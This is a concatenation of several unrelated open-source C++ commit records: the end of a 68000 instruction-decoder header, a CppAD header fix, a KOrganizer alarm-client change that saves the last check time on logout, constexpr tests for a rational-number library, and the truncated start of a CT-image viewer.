Operation::MOVEl:\treturn quick<Operation::MOVEl>(instruction);\n\t\tcase Operation::Bccb:\treturn quick<Operation::Bccb>(instruction);\n\t\tcase Operation::BSRb:\treturn quick<Operation::BSRb>(instruction);\n\t\tcase Operation::TRAP:\treturn quick<Operation::TRAP>(instruction);\n\n\t\tdefault:\n\t\t\t\/\/ ADDw is arbitrary; anything other than those listed above will do.\n\t\t\treturn quick<Operation::ADDw>(instruction);\n\t}\n}\n\n\/\/\/ Indicates the addressing mode applicable to an operand.\n\/\/\/\n\/\/\/ Implementation notes:\n\/\/\/\n\/\/\/ Those entries starting 0b00 or 0b01 are mapped as per the 68000's native encoding;\n\/\/\/ those starting 0b00 are those which are indicated directly by a mode field and those starting\n\/\/\/ 0b01 are those which are indicated by a register field given a mode of 0b111. The only minor\n\/\/\/ exception is AddressRegisterDirect, which exists on a 68000  but isn't specifiable by a\n\/\/\/ mode and register, it's contextual based on the instruction.\n\/\/\/\n\/\/\/ Those modes starting in 0b10 are the various extended addressing modes introduced as\n\/\/\/ of the 68020, which can be detected only after interpreting an extension word. At the\n\/\/\/ Preinstruction stage:\n\/\/\/\n\/\/\/\t* AddressRegisterIndirectWithIndexBaseDisplacement, MemoryIndirectPostindexed\n\/\/\/\t\tand MemoryIndirectPreindexed will have been partially decoded as\n\/\/\/\t\tAddressRegisterIndirectWithIndex8bitDisplacement; and\n\/\/\/\t* ProgramCounterIndirectWithIndexBaseDisplacement,\n\/\/\/\t\tProgramCounterMemoryIndirectPostindexed and\n\/\/\/\t\tProgramCounterMemoryIndirectPreindexed will have been partially decoded\n\/\/\/\t\tas ProgramCounterIndirectWithIndex8bitDisplacement.\nenum class AddressingMode: uint8_t {\n\t\/\/\/ No adddressing mode; this operand doesn't exist.\n\tNone\t\t\t\t\t\t\t\t\t\t\t\t= 0b01'101,\n\n\t\/\/\/ Dn\n\tDataRegisterDirect\t\t\t\t\t\t\t\t\t= 0b00'000,\n\n\t\/\/\/ An\n\tAddressRegisterDirect\t\t\t\t\t\t\t\t= 0b00'001,\n\t\/\/\/ (An)\n\tAddressRegisterIndirect\t\t\t\t\t\t\t\t= 0b00'010,\n\t\/\/\/ (An)+\n\tAddressRegisterIndirectWithPostincrement\t\t\t= 0b00'011,\n\t\/\/\/ -(An)\n\tAddressRegisterIndirectWithPredecrement\t\t\t\t= 0b00'100,\n\t\/\/\/ (d16, An)\n\tAddressRegisterIndirectWithDisplacement\t\t\t\t= 0b00'101,\n\t\/\/\/ (d8, An, Xn)\n\tAddressRegisterIndirectWithIndex8bitDisplacement\t= 0b00'110,\n\t\/\/\/ (bd, An, Xn)\n\tAddressRegisterIndirectWithIndexBaseDisplacement\t= 0b10'000,\n\n\t\/\/\/ ([bd, An, Xn], od)\n\tMemoryIndirectPostindexed\t\t\t\t\t\t\t= 0b10'001,\n\t\/\/\/ ([bd, An], Xn, od)\n\tMemoryIndirectPreindexed\t\t\t\t\t\t\t= 0b10'010,\n\n\t\/\/\/ (d16, PC)\n\tProgramCounterIndirectWithDisplacement\t\t\t\t= 0b01'010,\n\t\/\/\/ (d8, PC, Xn)\n\tProgramCounterIndirectWithIndex8bitDisplacement\t\t= 0b01'011,\n\t\/\/\/ (bd, PC, Xn)\n\tProgramCounterIndirectWithIndexBaseDisplacement\t\t= 0b10'011,\n\t\/\/\/ ([bd, PC, Xn], od)\n\tProgramCounterMemoryIndirectPostindexed\t\t\t\t= 0b10'100,\n\t\/\/\/ ([bc, PC], Xn, od)\n\tProgramCounterMemoryIndirectPreindexed\t\t\t\t= 0b10'101,\n\n\t\/\/\/ (xxx).W\n\tAbsoluteShort\t\t\t\t\t\t\t\t\t\t= 0b01'000,\n\t\/\/\/ (xxx).L\n\tAbsoluteLong\t\t\t\t\t\t\t\t\t\t= 0b01'001,\n\n\t\/\/\/ #\n\tImmediateData\t\t\t\t\t\t\t\t\t\t= 0b01'100,\n\n\t\/\/\/ .q; value is embedded in the opcode.\n\tQuick\t\t\t\t\t\t\t\t\t\t\t\t= 0b01'110,\n};\n\n\/*!\n\tA preinstruction is as much of an instruction as can be decoded with\n\tonly the first instruction word — i.e. an operation, and:\n\n\t* on the 68000 and 68010, the complete addressing modes;\n\t* on subsequent, a decent proportion of the addressing mode. See\n\t\tthe notes on @c AddressingMode for potential aliasing.\n*\/\nclass Preinstruction {\n\tpublic:\n\t\tOperation operation = Operation::Undefined;\n\n\t\t\/\/ Instructions come with 0, 1 or 2 operands;\n\t\t\/\/ the getters below act to provide a list of operands\n\t\t\/\/ that is terminated by an AddressingMode::None.\n\t\t\/\/\n\t\t\/\/ For two-operand instructions, argument 0 is a source\n\t\t\/\/ and argument 1 is a destination.\n\t\t\/\/\n\t\t\/\/ For one-operand instructions, only argument 0 will\n\t\t\/\/ be provided, and will be a source and\/or destination as\n\t\t\/\/ per the semantics of the operation.\n\n\t\ttemplate <int index> AddressingMode mode() const {\n\t\t\tif constexpr (index > 1) {\n\t\t\t\treturn AddressingMode::None;\n\t\t\t}\n\t\t\treturn AddressingMode(operands_[index] & 0x1f);\n\t\t}\n\t\ttemplate <int index> int reg() const {\n\t\t\tif constexpr (index > 1) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\treturn operands_[index] >> 5;\n\t\t}\n\n\tprivate:\n\t\tuint8_t operands_[2] = { uint8_t(AddressingMode::None), uint8_t(AddressingMode::None)};\n\n\tpublic:\n\t\tPreinstruction(\n\t\t\tOperation operation,\n\t\t\tAddressingMode op1_mode,\tint op1_reg,\n\t\t\tAddressingMode op2_mode,\tint op2_reg,\n\t\t\t[[maybe_unused]] bool is_supervisor = false) : operation(operation)\n\t\t{\n\t\t\toperands_[0] = uint8_t(op1_mode) | uint8_t(op1_reg << 5);\n\t\t\toperands_[1] = uint8_t(op2_mode) | uint8_t(op2_reg << 5);\n\t\t}\n\n\t\tPreinstruction(Operation operation, [[maybe_unused]] bool is_supervisor = false) : operation(operation) {}\n\n\t\tPreinstruction(Operation operation, AddressingMode op1_mode, int op1_reg, [[maybe_unused]] bool is_supervisor = false) : operation(operation) {\n\t\t\toperands_[0] = uint8_t(op1_mode) | uint8_t(op1_reg << 5);\n\t\t}\n\n\t\t\/\/ TODO: record is_supervisor.\n\n\t\tPreinstruction() {}\n};\n\n}\n}\n\n#endif \/* InstructionSets_68k_Instruction_hpp *\/\n<|endoftext|>"}
{"text":"<commit_before>\/* $Id$ *\/\n# ifndef CPPAD_SUM_I_INV_WORK_INCLUDED\n# define CPPAD_SUM_I_INV_WORK_INCLUDED\n\/* --------------------------------------------------------------------------\nCppAD: C++ Algorithmic Differentiation: Copyright (C) 2003-11 Bradley M. Bell\n\nCppAD is distributed under multiple licenses. This distribution is under\nthe terms of the \n                    Common Public License Version 1.0.\n\nA copy of this license is included in the COPYING file of this distribution.\nPlease visit http:\/\/www.coin-or.org\/CppAD\/ for information on other licenses.\n-------------------------------------------------------------------------- *\/\n\n# include <cppad\/cppad.hpp>\n\nextern void sum_i_inv_worker(void);\nextern bool sum_i_inv_split(size_t num_sum, size_t num_threads);\nextern bool sum_i_inv_combine(double& sum);\n\n# endif\n<commit_msg>sum_i_inv_work.hpp: Missing from prevous commit.<commit_after>\/* $Id$ *\/\n# ifndef CPPAD_SUM_I_INV_WORK_INCLUDED\n# define CPPAD_SUM_I_INV_WORK_INCLUDED\n\/* --------------------------------------------------------------------------\nCppAD: C++ Algorithmic Differentiation: Copyright (C) 2003-11 Bradley M. Bell\n\nCppAD is distributed under multiple licenses. This distribution is under\nthe terms of the \n                    Common Public License Version 1.0.\n\nA copy of this license is included in the COPYING file of this distribution.\nPlease visit http:\/\/www.coin-or.org\/CppAD\/ for information on other licenses.\n-------------------------------------------------------------------------- *\/\n\n# include <cppad\/cppad.hpp>\n\nextern void sum_i_inv_worker(void);\nextern bool sum_i_inv_setup(size_t num_sum, size_t num_threads);\nextern bool sum_i_inv_combine(double& sum);\n\n# endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    KOrganizer Alarm Daemon Client.\n\n    This file is part of KOrganizer.\n\n    Copyright (c) 2002,2003 Cornelius Schumacher\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include \"koalarmclient.h\"\n\n#include \"alarmdockwindow.h\"\n#include \"alarmdialog.h\"\n\n#include <libkcal\/calendarresources.h>\n\n#include <kstandarddirs.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kapplication.h>\n#include <kwin.h>\n\n#include <qpushbutton.h>\n\nKOAlarmClient::KOAlarmClient( QObject *parent, const char *name )\n  : DCOPObject( \"ac\" ), QObject( parent, name )\n{\n  kdDebug(5890) << \"KOAlarmClient::KOAlarmClient()\" << endl;\n\n  mDocker = new AlarmDockWindow;\n  mDocker->show();\n  connect( this, SIGNAL( reminderCount( int ) ), mDocker, SLOT( slotUpdate( int ) ) );\n  connect( mDocker, SIGNAL( quitSignal() ), SLOT( slotQuit() ) );\n\n  KConfig c( locate( \"config\", \"korganizerrc\" ) );\n  c.setGroup( \"Time & Date\" );\n  QString tz = c.readEntry( \"TimeZoneId\" );\n  kdDebug(5890) << \"TimeZone: \" << tz << endl;\n\n  mCalendar = new CalendarResources( tz );\n  mCalendar->readConfig();\n  mCalendar->load();\n\n  connect( &mCheckTimer, SIGNAL( timeout() ), SLOT( checkAlarms() ) );\n\n  KConfig *config = kapp->config();\n  config->setGroup( \"Alarms\" );\n  int interval = config->readNumEntry( \"Interval\", 60 );\n  kdDebug(5890) << \"KOAlarmClient check interval: \" << interval << \" seconds.\"\n                << endl;\n  mLastChecked = config->readDateTimeEntry( \"CalendarsLastChecked\" );\n\n  \/\/ load reminders that were active when quitting\n  config->setGroup( \"General\" );\n  int numReminders = config->readNumEntry( \"Reminders\", 0 );\n  for ( int i=1; i<=numReminders; ++i )\n  {\n    QString group( QString( \"Incidence-%1\" ).arg( i ) );\n    config->setGroup( group );\n    QString uid = config->readEntry( \"UID\" );\n    QDateTime dt = config->readDateTimeEntry( \"RemindAt\" );\n    if ( !uid.isEmpty() )\n      createReminder( mCalendar->incidence( uid ), dt );\n    config->deleteGroup( group );\n  }\n  config->setGroup( \"General\" );\n  config->writeEntry( \"Reminders\", 0 );\n  config->sync();\n\n  checkAlarms();\n  saveLastCheckTime();\n  mCheckTimer.start( 1000 * interval );  \/\/ interval in seconds\n}\n\nKOAlarmClient::~KOAlarmClient()\n{\n  delete mCalendar;\n  delete mDocker;\n}\n\nvoid KOAlarmClient::checkAlarms()\n{\n  KConfig *cfg = kapp->config();\n\n  cfg->setGroup( \"General\" );\n  if ( !cfg->readBoolEntry( \"Enabled\", true ) ) return;\n\n  QDateTime from = mLastChecked.addSecs( 1 );\n  mLastChecked = QDateTime::currentDateTime();\n\n  kdDebug(5891) << \"Check: \" << from.toString() << \" - \" << mLastChecked.toString() << endl;\n\n  QValueList<Alarm *> alarms = mCalendar->alarms( from, mLastChecked );\n\n  QValueList<Alarm *>::ConstIterator it;\n  for( it = alarms.begin(); it != alarms.end(); ++it ) {\n    kdDebug(5891) << \"ALARM: \" << (*it)->parent()->summary() << endl;\n    Incidence *incidence = mCalendar->incidence( (*it)->parent()->uid() );\n    createReminder( incidence, QDateTime::currentDateTime() );\n  }\n}\n\nvoid KOAlarmClient::createReminder( KCal::Incidence *incidence, QDateTime dt )\n{\n  if ( !incidence )\n    return;\n\n  AlarmDialog *dialog = new AlarmDialog();\n  dialog->setIncidence( incidence );\n  dialog->setRemindAt( dt );\n  connect( dialog, SIGNAL( finishedSignal( AlarmDialog *) ), SLOT( slotRemove( AlarmDialog *) ) );\n  connect( mDocker, SIGNAL( suspendAllSignal() ), dialog, SLOT( slotUser1() ) );\n  connect( mDocker, SIGNAL( dismissAllSignal() ), dialog, SLOT( slotOk() ) );\n  connect( this, SIGNAL( saveAllSignal() ), dialog, SLOT( slotSave() ) );\n  dialog->wakeUp();\n  mReminders.append( dialog );\n  emit reminderCount( mReminders.count() );\n}\n\nvoid KOAlarmClient::slotQuit()\n{\n  emit saveAllSignal();\n  saveLastCheckTime();\n  quit();\n}\n\nvoid KOAlarmClient::saveLastCheckTime()\n{\n  KConfig *cfg = kapp->config();\n  cfg->setGroup( \"Alarms\" );\n  cfg->writeEntry( \"CalendarsLastChecked\", mLastChecked );\n  cfg->sync();\n}\n\nvoid KOAlarmClient::quit()\n{\n  kdDebug(5890) << \"KOAlarmClient::quit()\" << endl;\n  kapp->quit();\n}\n\nvoid KOAlarmClient::slotRemove( AlarmDialog *d )\n{\n  mReminders.remove( d );\n  delete d;\n  emit reminderCount( mReminders.count() );\n}\n\nbool KOAlarmClient::commitData( QSessionManager& )\n{\n  emit saveAllSignal();\n  return true;\n}\n\nvoid KOAlarmClient::forceAlarmCheck()\n{\n  checkAlarms();\n}\n\nvoid KOAlarmClient::dumpDebug()\n{\n  KConfig *cfg = kapp->config();\n\n  cfg->setGroup( \"Alarms\" );\n  QDateTime lastChecked = cfg->readDateTimeEntry( \"CalendarsLastChecked\" );\n\n  kdDebug(5890) << \"Last Check: \" << lastChecked << endl;\n}\n\nQStringList KOAlarmClient::dumpAlarms()\n{\n  QDateTime start = QDateTime( QDateTime::currentDateTime().date(),\n                               QTime( 0, 0 ) );\n  QDateTime end = start.addDays( 1 ).addSecs( -1 );\n\n  QStringList lst;\n  \/\/ Don't translate, this is for debugging purposes.\n  lst << QString(\"AlarmDeamon::dumpAlarms() from \") + start.toString()+ \" to \" +\n         end.toString();\n\n  QValueList<Alarm*> alarms = mCalendar->alarms( start, end );\n  QValueList<Alarm*>::ConstIterator it;\n  for( it = alarms.begin(); it != alarms.end(); ++it ) {\n    Alarm *a = *it;\n    lst << QString(\"  \") + a->parent()->summary() + \" (\"\n              + a->time().toString() + \")\";\n  }\n\n  return lst;\n}\n\nvoid KOAlarmClient::debugShowDialog()\n{\n\/\/   showAlarmDialog();\n}\n\n#include \"koalarmclient.moc\"\n<commit_msg>- remember last check on logout BUG: 102489<commit_after>\/*\n    KOrganizer Alarm Daemon Client.\n\n    This file is part of KOrganizer.\n\n    Copyright (c) 2002,2003 Cornelius Schumacher\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n\n    As a special exception, permission is given to link this program\n    with any edition of Qt, and distribute the resulting executable,\n    without including the source code for Qt in the source distribution.\n*\/\n\n#include \"koalarmclient.h\"\n\n#include \"alarmdockwindow.h\"\n#include \"alarmdialog.h\"\n\n#include <libkcal\/calendarresources.h>\n\n#include <kstandarddirs.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kapplication.h>\n#include <kwin.h>\n\n#include <qpushbutton.h>\n\nKOAlarmClient::KOAlarmClient( QObject *parent, const char *name )\n  : DCOPObject( \"ac\" ), QObject( parent, name )\n{\n  kdDebug(5890) << \"KOAlarmClient::KOAlarmClient()\" << endl;\n\n  mDocker = new AlarmDockWindow;\n  mDocker->show();\n  connect( this, SIGNAL( reminderCount( int ) ), mDocker, SLOT( slotUpdate( int ) ) );\n  connect( mDocker, SIGNAL( quitSignal() ), SLOT( slotQuit() ) );\n\n  KConfig c( locate( \"config\", \"korganizerrc\" ) );\n  c.setGroup( \"Time & Date\" );\n  QString tz = c.readEntry( \"TimeZoneId\" );\n  kdDebug(5890) << \"TimeZone: \" << tz << endl;\n\n  mCalendar = new CalendarResources( tz );\n  mCalendar->readConfig();\n  mCalendar->load();\n\n  connect( &mCheckTimer, SIGNAL( timeout() ), SLOT( checkAlarms() ) );\n\n  KConfig *config = kapp->config();\n  config->setGroup( \"Alarms\" );\n  int interval = config->readNumEntry( \"Interval\", 60 );\n  kdDebug(5890) << \"KOAlarmClient check interval: \" << interval << \" seconds.\"\n                << endl;\n  mLastChecked = config->readDateTimeEntry( \"CalendarsLastChecked\" );\n\n  \/\/ load reminders that were active when quitting\n  config->setGroup( \"General\" );\n  int numReminders = config->readNumEntry( \"Reminders\", 0 );\n  for ( int i=1; i<=numReminders; ++i )\n  {\n    QString group( QString( \"Incidence-%1\" ).arg( i ) );\n    config->setGroup( group );\n    QString uid = config->readEntry( \"UID\" );\n    QDateTime dt = config->readDateTimeEntry( \"RemindAt\" );\n    if ( !uid.isEmpty() )\n      createReminder( mCalendar->incidence( uid ), dt );\n    config->deleteGroup( group );\n  }\n  config->setGroup( \"General\" );\n  config->writeEntry( \"Reminders\", 0 );\n  config->sync();\n\n  checkAlarms();\n  saveLastCheckTime();\n  mCheckTimer.start( 1000 * interval );  \/\/ interval in seconds\n}\n\nKOAlarmClient::~KOAlarmClient()\n{\n  delete mCalendar;\n  delete mDocker;\n}\n\nvoid KOAlarmClient::checkAlarms()\n{\n  KConfig *cfg = kapp->config();\n\n  cfg->setGroup( \"General\" );\n  if ( !cfg->readBoolEntry( \"Enabled\", true ) ) return;\n\n  QDateTime from = mLastChecked.addSecs( 1 );\n  mLastChecked = QDateTime::currentDateTime();\n\n  kdDebug(5891) << \"Check: \" << from.toString() << \" - \" << mLastChecked.toString() << endl;\n\n  QValueList<Alarm *> alarms = mCalendar->alarms( from, mLastChecked );\n\n  QValueList<Alarm *>::ConstIterator it;\n  for( it = alarms.begin(); it != alarms.end(); ++it ) {\n    kdDebug(5891) << \"ALARM: \" << (*it)->parent()->summary() << endl;\n    Incidence *incidence = mCalendar->incidence( (*it)->parent()->uid() );\n    createReminder( incidence, QDateTime::currentDateTime() );\n  }\n}\n\nvoid KOAlarmClient::createReminder( KCal::Incidence *incidence, QDateTime dt )\n{\n  if ( !incidence )\n    return;\n\n  AlarmDialog *dialog = new AlarmDialog();\n  dialog->setIncidence( incidence );\n  dialog->setRemindAt( dt );\n  connect( dialog, SIGNAL( finishedSignal( AlarmDialog *) ), SLOT( slotRemove( AlarmDialog *) ) );\n  connect( mDocker, SIGNAL( suspendAllSignal() ), dialog, SLOT( slotUser1() ) );\n  connect( mDocker, SIGNAL( dismissAllSignal() ), dialog, SLOT( slotOk() ) );\n  connect( this, SIGNAL( saveAllSignal() ), dialog, SLOT( slotSave() ) );\n  dialog->wakeUp();\n  mReminders.append( dialog );\n  emit reminderCount( mReminders.count() );\n}\n\nvoid KOAlarmClient::slotQuit()\n{\n  emit saveAllSignal();\n  saveLastCheckTime();\n  quit();\n}\n\nvoid KOAlarmClient::saveLastCheckTime()\n{\n  KConfig *cfg = kapp->config();\n  cfg->setGroup( \"Alarms\" );\n  cfg->writeEntry( \"CalendarsLastChecked\", mLastChecked );\n  cfg->sync();\n}\n\nvoid KOAlarmClient::quit()\n{\n  kdDebug(5890) << \"KOAlarmClient::quit()\" << endl;\n  kapp->quit();\n}\n\nvoid KOAlarmClient::slotRemove( AlarmDialog *d )\n{\n  mReminders.remove( d );\n  delete d;\n  emit reminderCount( mReminders.count() );\n}\n\nbool KOAlarmClient::commitData( QSessionManager& )\n{\n  emit saveAllSignal();\n  saveLastCheckTime();\n  return true;\n}\n\nvoid KOAlarmClient::forceAlarmCheck()\n{\n  checkAlarms();\n}\n\nvoid KOAlarmClient::dumpDebug()\n{\n  KConfig *cfg = kapp->config();\n\n  cfg->setGroup( \"Alarms\" );\n  QDateTime lastChecked = cfg->readDateTimeEntry( \"CalendarsLastChecked\" );\n\n  kdDebug(5890) << \"Last Check: \" << lastChecked << endl;\n}\n\nQStringList KOAlarmClient::dumpAlarms()\n{\n  QDateTime start = QDateTime( QDateTime::currentDateTime().date(),\n                               QTime( 0, 0 ) );\n  QDateTime end = start.addDays( 1 ).addSecs( -1 );\n\n  QStringList lst;\n  \/\/ Don't translate, this is for debugging purposes.\n  lst << QString(\"AlarmDeamon::dumpAlarms() from \") + start.toString()+ \" to \" +\n         end.toString();\n\n  QValueList<Alarm*> alarms = mCalendar->alarms( start, end );\n  QValueList<Alarm*>::ConstIterator it;\n  for( it = alarms.begin(); it != alarms.end(); ++it ) {\n    Alarm *a = *it;\n    lst << QString(\"  \") + a->parent()->summary() + \" (\"\n              + a->time().toString() + \")\";\n  }\n\n  return lst;\n}\n\nvoid KOAlarmClient::debugShowDialog()\n{\n\/\/   showAlarmDialog();\n}\n\n#include \"koalarmclient.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2011-2012 Morwenn\n *\n * static_math is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * static_math is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <static_math\/rational.h>\n\nusing namespace smath;\n\n\nint main()\n{\n    \/\/ Constructor tests\n    constexpr auto ratio = rational<int>(4, 2);\n    static_assert(ratio.numerator() == 4, \"\");\n    static_assert(ratio.denominator() == 2, \"\");\n\n    constexpr auto ratio2 = rational<int>(5);\n    static_assert(ratio2.numerator() == 5, \"\");\n    static_assert(ratio2.denominator() == 1, \"\");\n\n    constexpr auto r1 = rational<int>(1, 2);\n    constexpr auto r2 = rational<int>(2, 4);\n    constexpr auto r3 = rational<int>(1, 3);\n    constexpr auto r4 = rational<int>(5, 1);\n\n    \/\/ rational-rational comparison\n    static_assert(r1 == r2, \"\");\n    static_assert(r1 != r3, \"\");\n    static_assert(r1 > r3, \"\");\n    static_assert(r3 < r2, \"\");\n    static_assert(r1 >= r2, \"\");\n    static_assert(r3 <= r2, \"\");\n\n    \/\/ rational-integral comparison\n    static_assert(r4 == 5, \"\");\n    static_assert(5 == r4, \"\");\n    static_assert(r1 != 3, \"\");\n    static_assert(8 != r2, \"\");\n    static_assert(0 < r1, \"\");\n    static_assert(r2 < 1, \"\");\n    static_assert(8 > r4, \"\");\n    static_assert(r2 > -1, \"\");\n    static_assert(5 <= r4, \"\");\n    static_assert(r3 <= 1, \"\");\n    static_assert(1 >= r3, \"\");\n    static_assert(r1 >= -8, \"\");\n\n    \/\/ rational-rational arithmetic operations\n    static_assert(r1 + r2 == 1, \"\");\n    static_assert(r4 - r1 == rational<int>(9, 2), \"\");\n    static_assert(r2 * r3 == rational<int>(1, 6), \"\");\n    static_assert(r1 \/ r3 == rational<int>(3, 2), \"\");\n\n    \/\/ rational-integral arithmetic operations\n    static_assert(r1 + 1 == rational<int>(3, 2), \"\");\n    static_assert(2 + r2 == rational<int>(5, 2), \"\");\n    static_assert(r3 - 3 == rational<int>(-8, 3), \"\");\n    static_assert(2 - r1 == rational<int>(3, 2), \"\");\n    static_assert(r4 * 2 == 10, \"\");\n    static_assert(6 * r2 == r1 * 6, \"\");\n    static_assert(1 \/ r2 == 2, \"\");\n    static_assert(r3 \/ 3 == rational<int>(1, 9), \"\");\n\n    \/\/ _smath_r literal\n    static_assert(2 \/ 3_static_r == rational<unsigned long long>(2, 3), \"\");\n\n    return 0;\n}\n<commit_msg>Tests for casts, literals and abs function.<commit_after>\/*\n * Copyright (C) 2011-2012 Morwenn\n *\n * static_math is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * static_math is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <static_math\/rational.h>\n\nusing namespace smath;\n\n\nint main()\n{\n    \/\/ Constructor tests\n    constexpr auto ratio = rational<int>(4, 2);\n    static_assert(ratio.numerator() == 4, \"\");\n    static_assert(ratio.denominator() == 2, \"\");\n\n    constexpr auto ratio2 = rational<int>(5);\n    static_assert(ratio2.numerator() == 5, \"\");\n    static_assert(ratio2.denominator() == 1, \"\");\n\n    constexpr auto r1 = rational<int>(1, 2);\n    constexpr auto r2 = rational<int>(2, 4);\n    constexpr auto r3 = rational<int>(1, 3);\n    constexpr auto r4 = rational<int>(5, 1);\n    constexpr auto r5 = rational<int>(-1, 2);\n    constexpr auto r6 = rational<int>(1, -2);\n\n    \/\/ rational-rational comparison\n    static_assert(r1 == r2, \"\");\n    static_assert(r1 != r3, \"\");\n    static_assert(r1 > r3, \"\");\n    static_assert(r3 < r2, \"\");\n    static_assert(r1 >= r2, \"\");\n    static_assert(r3 <= r2, \"\");\n    static_assert(r5 == r6, \"\");\n\n    \/\/ rational-integral comparison\n    static_assert(r4 == 5, \"\");\n    static_assert(5 == r4, \"\");\n    static_assert(r1 != 3, \"\");\n    static_assert(8 != r2, \"\");\n    static_assert(0 < r1, \"\");\n    static_assert(r2 < 1, \"\");\n    static_assert(8 > r4, \"\");\n    static_assert(r2 > -1, \"\");\n    static_assert(5 <= r4, \"\");\n    static_assert(r3 <= 1, \"\");\n    static_assert(1 >= r3, \"\");\n    static_assert(r1 >= -8, \"\");\n    static_assert(r5 <= 0, \"\");\n    static_assert(r6 <= 0, \"\");\n\n    \/\/ rational-rational arithmetic operations\n    static_assert(r1 + r2 == 1, \"\");\n    static_assert(r4 - r1 == rational<int>(9, 2), \"\");\n    static_assert(r2 * r3 == rational<int>(1, 6), \"\");\n    static_assert(r1 \/ r3 == rational<int>(3, 2), \"\");\n\n    \/\/ rational-integral arithmetic operations\n    static_assert(r1 + 1 == rational<int>(3, 2), \"\");\n    static_assert(2 + r2 == rational<int>(5, 2), \"\");\n    static_assert(r3 - 3 == rational<int>(-8, 3), \"\");\n    static_assert(2 - r1 == rational<int>(3, 2), \"\");\n    static_assert(r4 * 2 == 10, \"\");\n    static_assert(6 * r2 == r1 * 6, \"\");\n    static_assert(1 \/ r2 == 2, \"\");\n    static_assert(r3 \/ 3 == rational<int>(1, 9), \"\");\n\n    \/\/ cast\n    static_assert(rational<int>(1, 2) == rational<long int>(1, 2), \"\");\n    static_assert(rational<unsigned long long>(3, 2) == rational<short>(3, 2), \"\");\n\n    \/\/ _smath_r literal\n    static_assert(2 \/ 3_static_r == rational<unsigned long long>(2, 3), \"\");\n    static_assert(1_static_r \/ 8 == rational<unsigned long long>(1, 8), \"\");\n    static_assert(3 \/ 5_static_r == 3_static_r \/ 5, \"\");\n\n    constexpr auto a1 = rational<int>(1, 2);\n    constexpr auto a2 = rational<int>(-3, 8);\n    constexpr auto a3 = rational<int>(6, -7);\n\n    \/\/ Math functions\n    static_assert(abs(a1) == 1 \/ 2_static_r, \"\");\n    static_assert(abs(a2) == 3 \/ 8_static_r, \"\");\n    static_assert(abs(a3) == 6 \/ 7_static_r, \"\");\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <mist\/io\/raw.h>\r\n#include <mist\/draw.h>\r\n#include <iostream>\r\n#include \"ct_image_window.h\"\r\n#include <FL\/Fl_File_Chooser.H>\r\n\r\n\r\n#include <mist\/filter\/median_filter.h>\r\n#include <mist\/filter\/distance.h>\r\n\r\n\r\nvoid ct_draw_area::draw( )\r\n{\r\n\tmist::draw_image( buff, w( ), h( ) );\r\n}\r\n\r\nvoid ct_draw_area::draw_image( )\r\n{\r\n\tif( ct.empty( ) )\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\tif( draw_flag_ )\r\n\t{\r\n\t\treturn;\r\n\t}\r\n\r\n\tdraw_flag_ = true;\r\n\r\n\tif( buff.width( ) != ct.width( ) || buff.height( ) != ct.height( ) )\r\n\t{\r\n\t\tbuff.resize( ct.width( ), ct.height( ) );\r\n\t}\r\n\tbuff.reso1( ct.reso1( ) );\r\n\tbuff.reso2( ct.reso2( ) );\r\n\r\n\tmist::array3< short >::size_type i, j;\r\n\tdouble pixel;\r\n\tfor( j = 0 ; j < ct.height( ) ; j++ )\r\n\t{\r\n\t\tfor( i = 0 ; i < ct.width( ) ; i++ )\r\n\t\t{\r\n\t\t\tpixel = ( ct( i, j, index_ ) - window_level_ ) \/ window_width_ * 256.0 + 128.0;\r\n\t\t\tpixel = pixel <   0.0 ?   0.0 : pixel;\r\n\t\t\tpixel = pixel > 255.0 ? 255.0 : pixel;\r\n\t\t\tbuff( i, j ) = static_cast< unsigned char >( pixel );\r\n\t\t}\r\n\t}\r\n\r\n\tdraw_flag_ = false;\r\n}\r\n\r\nvoid ct_draw_area::read_image( ct_image_window *wnd )\r\n{\r\n\tconst char *filename = fl_file_chooser( \"Open\", \"*\", \"\" );\r\n\tif( filename == NULL ) return;\r\n\r\n\tsize_type w = 512;\r\n\tsize_type h = 512;\r\n\tsize_type d = 189;\r\n\tdouble x = 0.625;\r\n\tdouble y = 0.625;\r\n\tdouble z = 1.0;\r\n\r\n\tparameter_window window;\r\n\twindow.width->value( w 